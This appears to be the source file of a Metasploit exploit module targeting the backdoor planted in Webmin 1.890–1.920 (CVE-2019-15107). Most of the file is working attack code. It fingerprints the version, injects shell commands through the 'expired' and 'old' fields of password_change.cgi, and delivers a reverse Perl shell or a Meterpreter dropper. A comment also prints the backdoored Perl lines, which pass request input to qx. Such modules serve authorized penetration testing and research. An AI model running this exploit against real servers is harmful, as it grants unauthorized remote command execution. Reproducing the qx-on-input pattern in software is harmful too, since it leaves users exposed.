Files

230 lines
6.7 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Module::Deprecated
prepend Msf::Exploit::Remote::AutoCheck
moved_from 'exploit/unix/webapp/webmin_backdoor'
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Webmin password_change.cgi Backdoor',
'Description' => %q{
This module exploits a backdoor in Webmin versions 1.890 through 1.920.
Only the SourceForge downloads were backdoored, but they are listed as
official downloads on the project's site.
Unknown attacker(s) inserted Perl qx statements into the build server's
source code on two separate occasions: once in April 2018, introducing
the backdoor in the 1.890 release, and in July 2018, reintroducing the
backdoor in releases 1.900 through 1.920.
Only version 1.890 is exploitable in the default install. Later affected
versions require the expired password changing feature to be enabled.
},
'Author' => [
'AkkuS', # (Özkan Mustafa Akkuş) Discovery and independent module
'wvu' # This module and updated information about the backdoor
],
'References' => [
['CVE', '2019-15107'], # y tho
['URL', 'http://www.webmin.com/exploit.html'],
['URL', 'https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html'],
['URL', 'https://blog.firosolutions.com/exploits/webmin/'],
['URL', 'https://github.com/webmin/webmin/issues/947']
],
'DisclosureDate' => '2019-08-10',
'License' => MSF_LICENSE,
'Privileged' => true,
'Targets' => [
[
'Automatic (Unix In-Memory)',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Version' => [
Rex::Version.new('1.890'), Rex::Version.new('1.920')
],
'Type' => :unix_memory,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl' }
}
],
[
'Automatic (Linux Dropper)',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Version' => [
Rex::Version.new('1.890'), Rex::Version.new('1.920')
],
'Type' => :linux_dropper,
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
Opt::RPORT(10000),
OptString.new('TARGETURI', [true, 'Base path to Webmin', '/'])
])
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
)
unless res
vprint_error('Server did not respond')
return CheckCode::Unknown('Could not determine the target status')
end
if res.body.include?('This web server is running in SSL mode.')
print_error('Please enable the SSL option to proceed')
return CheckCode::Unknown('Could not determine the target status')
end
version =
res.headers['Server'].to_s.scan(%r{MiniServ/([\d.]+)}).flatten.first
unless version
vprint_error('Webmin version not detected')
return CheckCode::Unknown('Could not determine the target status')
end
version = Rex::Version.new(version)
vprint_status("Webmin #{version} detected")
unless version.between?(*target['Version'])
vprint_error("Webmin #{version} is not a supported target")
return CheckCode::Safe("Version #{version} is not vulnerable")
end
vprint_good("Webmin #{version} is a supported target")
checkcode = CheckCode::Appears("Version #{version} appears to be vulnerable")
res = execute_command("echo #{token}")
unless res
vprint_error('Webmin did not respond to check command')
return checkcode
end
if res.body.include?('Password changing is not enabled!')
vprint_error('Expired password changing disabled')
return CheckCode::Safe("Version #{version} is not vulnerable")
end
if res.body.include?(token)
vprint_good('Webmin executed a benign check command')
checkcode = CheckCode::Vulnerable("Exploitable: version #{version} is vulnerable")
else
vprint_error('Webmin did not execute our check command')
return CheckCode::Safe("Version #{version} is not vulnerable")
end
checkcode
end
def exploit
# These CheckCodes are allowed to pass automatically
[
CheckCode::Appears,
CheckCode::Vulnerable
]
print_status("Configuring #{target.name} target")
case target['Type']
when :unix_memory
print_status("Sending #{datastore['PAYLOAD']} command payload")
vprint_status("Generated command payload: #{payload.encoded}")
res = execute_command(payload.encoded)
if res && datastore['PAYLOAD'] == 'cmd/unix/generic'
print_warning('Dumping command output in full response body')
if res.body.empty?
print_error('Empty response body, no command output')
return
end
print_line(res.body)
end
when :linux_dropper
print_status("Sending #{datastore['PAYLOAD']} command stager")
execute_cmdstager
end
end
=begin
wvu@kharak:~/Downloads$ diff3 webmin-1.{890,930,920}/password_change.cgi
====2
1:1c
3:1c
#!/usr/bin/perl
2:1c
#!/usr/local/bin/perl
====1
1:12c
$in{'expired'} eq '' || die $text{'password_expired'},qx/$in{'expired'}/;
2:12c
3:12c
$miniserv{'passwd_mode'} == 2 || die "Password changing is not enabled!";
====3
1:40c
2:40c
$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'});
3:40c
$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);
====3
1:200c
2:200c
# Show ok page
3:200c
wvu@kharak:~/Downloads$
=end
def execute_command(cmd, _opts = {})
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'password_change.cgi'),
'headers' => { 'Referer' => full_uri },
'vars_post' => {
# 1.890
'expired' => cmd,
# 1.900-1.920
'new1' => token,
'new2' => token,
'old' => cmd
}
}, 3.5)
end
def token
@token ||= Rex::Text.rand_text_alphanumeric(8..42)
end
end